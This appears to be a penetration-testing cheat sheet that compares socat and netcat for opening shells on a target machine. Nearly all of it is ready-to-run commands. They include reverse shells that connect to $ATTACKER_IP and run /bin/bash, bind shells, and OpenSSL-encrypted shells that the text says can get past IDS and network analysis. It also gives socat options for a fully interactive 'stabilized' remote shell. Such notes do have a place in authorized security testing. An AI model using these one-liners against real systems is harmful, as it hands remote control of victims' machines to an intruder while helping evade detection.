socat: The anything-to-anything connector!

socat vs. netcat

socat ↔ netcat command equivalencies:

# Reverse shell (attacker)
#
nc -lnp $LISTENER_PORT
socat TCP-LISTEN:$LISTENER_PORT -
 
# Reverse shell (target)
#
nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash
socat TCP:$ATTACKER_IP:$LISTENER_PORT EXEC:"/bin/bash -li"
 
# Bind shell (attacker)
#
nc $TARGET_IP $LISTENER_PORT
socat TCP:$TARGET_IP:$LISTENER_PORT
 
# Bind shell (target)
#
nc -lnp $LISTENER_PORT -e /bin/bash
socat TCP-LISTEN:$LISTENER_PORT EXEC:"/bin/bash -li"

socat gets us an interactive login shell right out the gate, though we’re still vulnerable to Ctrl+C. Note that when binding to PowerShell, use powershell.exe,pipes in order to force PowerShell to use UNIX-style STDIN/STDOUT.

Encrypted shells

socat can make encrypted connections, which foil after-the-fact network analysis and may circumvent IDS entirely.

# Generate a self-signed certificate.
#
openssl req --newkey rsa:2048 -nodes \
            -keyout shell.key -x509 -days 362 \
            -out shell.crt
 
# Create a PEM file combining the certificate and key.
#
cat shell.key shell.crt > shell.pem
 
# Start a listener.
#
socat OPENSSL-LISTEN:$LISTENER_PORT,cert=shell.pem,verify=0 -
 
# Start the reverse shell on the target.
#
socat OPENSSL:$ATTACKER_IP:$LISTENER_PORT,verify=0 EXEC:"/bin/bash -li"

The verify=0 directive turns off certificate validation, so this isn’t a “secure” connection in the sense that it’s been authenticated, but it is secure in the sense that it’s encrypted.

Shell “stabilization”

Automatically stabilize a reverse shell with socat

Shell “stabilization” refers to the process of making a remote shell behave like a normal local shell — so, allowing interactive programs to work properly, ensuring that input is not echoed inappropriately, etc.

We can use socat to create an auto-stabilized reverse shell on UNIX-like systems.

# Attacker: Connect $LISTENER_PORT to the current TTY,
# send raw keycodes, and turn off terminal echo.
# Basically the `stty raw -echo`.
#
socat TCP-LISTEN:$LISTENER_PORT FILE:`tty`,raw,echo=0
 
# Target: Connect the listener on the attacker to an
# interactive login bash shell.
#
#     pty    - allocate a PTTY
#     stderr - redirect STDERR to the attacker
#     sigint - pass signals (Ctrl+C) through
#     setsid - use a new session
#     sane   - use a variety of tweaks to "normalize" the
#              terminal's environment
#
socat TCP:$ATTACKER_IP:$LISTENER_PORT \
      EXEC:"/bin/bash -li",pty,stderr,sigint,setsid,sane

Same thing, but over an encrypted connection:

# Attacker: Connect $LISTENER_PORT to the current TTY,
# send raw keycodes, and turn off terminal echo. Basically
# the `stty raw -echo`.
#
socat \
	OPENSSL-LISTEN:$LISTENER_PORT,cert=$PEM_FILE,verify=0 \
	FILE:`tty`,raw,echo=0
 
# Target: Connect the listener on the attacker to an
# interactive login bash shell.
#
#     pty    - allocate a PTTY
#     stderr - redirect STDERR to the attacker
#     sigint - pass signals (Ctrl+C) through
#     setsid - use a new session
#     sane   - use a variety of tweaks to "normalize" the
#              terminal's environment
#
socat \
	OPENSSL:$ATTACKER_IP:$LISTENER_PORT,verify=0 \
	EXEC:"/bin/bash -li",pty,stderr,sigint,setsid,sane

Tip

The reverse shell will not pick up on your terminal size, so you’ll need to manually specify it using stty rows and stty cols.

Link to original